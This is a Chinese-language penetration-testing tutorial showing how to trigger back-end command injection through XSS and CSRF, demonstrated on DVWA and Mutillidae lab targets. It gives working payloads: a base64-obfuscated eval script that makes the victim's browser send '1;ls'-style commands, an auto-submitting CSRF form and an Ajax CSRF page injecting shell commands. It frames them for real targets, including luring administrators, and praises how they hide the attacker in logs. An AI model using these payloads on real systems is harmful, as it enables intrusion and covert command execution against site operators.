简介

在实际渗透测试中,经常碰到目标使用的CMS带有后台RCE漏洞,导致无法利用,但是后端RCE漏洞也可以通过目标的前端漏洞进行触发。

XSS

我们先以XSS漏洞进行触发后端RCE,该实验以DVWA靶机进行演示。在DVWA靶机的命令注入部分尝试注入命令:

1;ls

通过Burp可以查看到命令注入的请求包是POST类型

假设目标不是DVWA靶机,而是实际环境,且目标恰好有XSS漏洞,那么就可以通过构造XSS来引诱目标管理员触发RCE。编写代码创建一个简单的带有XSS漏洞的网页,php.php:

<?php
highlight_file(__FILE__);
$id = $_GET['id'];
echo ($id);
?>

既然有XSS漏洞了,那么怎么触发RCE请求呢?我们可以使用Ajax构造请求,如果目标没有jQuery,怎么触发Ajax请求呢?我们可以使用script标签包裹一个jQuery:

<script type="text/javascript" src="http://code.jquery.com/jquery-1.7.2.min.js"></script>

然后我们可以通过Ajax构造请求达到触发RCE,payload:

$.post('http://192.168.64.129/DVWA/vulnerabilities/exec/',function(d) {
  let p = $(d).contents().find('input[name=\"path\"]').val();
$.ajax({
  url:'http://192.168.64.129/DVWA/vulnerabilities/exec/',
  type:'POST',
  data:{
       "ip": '1;touch 1',  //执行命令
       "Submit": "Submit"},});
});

注意data内容与Burp抓取到的命令注入包内容一致。然后将该段代码进行Base64 Encode,防止特殊字符导致转义。

但是我们浏览器又不能自动解析Base64,所以的需要atob标签包裹解析该串Base64字符串,完整包裹语句:

atob('JC5wb3N0KCdodHRwOi8vMTkyLjE2OC42NC4xMjkvRFZXQS92dWxuZXJhYmlsaXRpZXMvZXhlYy8nLGZ1bmN0aW9uKGQpIHsKICBsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPVwicGF0aFwiXScpLnZhbCgpOwokLmFqYXgoewogIHVybDonaHR0cDovLzE5Mi4xNjguNjQuMTI5L0RWV0EvdnVsbmVyYWJpbGl0aWVzL2V4ZWMvJywKICB0eXBlOidQT1NUJywKICBkYXRhOnsKICAgICAgICJpcCI6ICcxO2xzJywKICAgICAgICJTdWJtaXQiOiAiU3VibWl0In0sfSk7Cn0pOw')

需要注意使用单引号包裹Base64字符串,使其为一个整体,以防解析错误。然后使用eval包裹执行,并注入script标签触发XSS,完整语句:

<script>eval(atob('JC5wb3N0KCdodHRwOi8vMTkyLjE2OC42NC4xMjkvRFZXQS92dWxuZXJhYmlsaXRpZXMvZXhlYy8nLGZ1bmN0aW9uKGQpIHsKICBsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPVwicGF0aFwiXScpLnZhbCgpOwokLmFqYXgoewogIHVybDonaHR0cDovLzE5Mi4xNjguNjQuMTI5L0RWV0EvdnVsbmVyYWJpbGl0aWVzL2V4ZWMvJywKICB0eXBlOidQT1NUJywKICBkYXRhOnsKICAgICAgICJpcCI6ICcxO2xzJywKICAgICAgICJTdWJtaXQiOiAiU3VibWl0In0sfSk7Cn0pOw'))</script>

因为目标网站可能没有jQuery(几率很小),所以整体语句为:

http://IP地址/php.php?id=<script type="text/javascript" src="http://code.jquery.com/jquery-1.7.2.min.js"></script><script>eval(atob('JC5wb3N0KCdodHRwOi8vMTkyLjE2OC42NC4xMjkvRFZXQS92dWxuZXJhYmlsaXRpZXMvZXhlYy8nLGZ1bmN0aW9uKGQpIHsKICBsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPVwicGF0aFwiXScpLnZhbCgpOwokLmFqYXgoewogIHVybDonaHR0cDovLzE5Mi4xNjguNjQuMTI5L0RWV0EvdnVsbmVyYWJpbGl0aWVzL2V4ZWMvJywKICB0eXBlOidQT1NUJywKICBkYXRhOnsKICAgICAgICJpcCI6ICcxO2xzJywKICAgICAgICJTdWJtaXQiOiAiU3VibWl0In0sfSk7Cn0pOw'))</script>

通过浏览器访问该地址虽然没有回显,但是我们可以通过Burp的历史请求查看到对应响应。通过Burp历史请求,我们可以看到此次触发了三个请求,分别为编号26、27和28,第一个请求则是由我们访问Url地址进行的一个GET请求:

27号请求则是通过payload跳转到DVWA的命令注入页面:

$.post('http://192.168.64.129/DVWA/vulnerabilities/exec/',function(d) {
  let p = $(d).contents().find('input[name=\"path\"]').val();

28号请求则是通过Ajax自动构造的请求,可以看到已成功响应:

切换到DVWA靶机漏洞的对应目录,即可查看到已经成功创建文件.

当然,不仅可以创建文件,也可以直接执行命令,以ls为例:

CSRF

CSRF的靶机我们以OWASP靶机的dns查询功能为例,我们先执行下命令:

通过Burp抓取的请求构造CSRF的POC,如果Burp是社区版的话,可以安装Github上的LazyCSRF插件.

<html>
<body>
<form method="POST" action="http://192.168.64.130:80/mutillidae/index.php?page=dns-lookup.php">
  <input  name="target_host" value='8.8.8.8;touch 1'>
  <input name="dns-lookup-php-submit-button" type="submit" value='Lookup DNS'>
</form>
</body>
</html>

访问该代码效果图为:

点击按钮执行后,即可在OWASP的靶机终端查看到新增的名为1的文件

CSRF+Ajax

如果我们将CSRF与Ajax结合会有什么效果呢?我们知道CSRF是因为能伪造目标用户的请求,但是还是会留下本身的请求记录,那我们可以尝试将CSRF与Ajax结合,通过写入网页的Ajax构造请求,使目标自己执行我们构造的任意请求。编写代码:

<script type="text/javascript" src="http://code.jquery.com/jquery-1.7.2.min.js"></script>
<script>
$.ajax({
  url:'http://192.168.64.130/mutillidae/index.php?page=dns-lookup.php',
  type:'POST',
  ContentType:'application/x-www-form-urlencoded',
  data:'target_host=8.8.8.8;touch cat&dns-lookup-php-submit-button=Lookup DNS'});
</script>

当目标访问该页面时,将会自己执行我们构造的请求,原理跟CSRF是一样的。

结语

通过这些前端漏洞方法触发的RCE会更加隐蔽,通过日志查看也只会看到攻击语句都是由目标自己执行。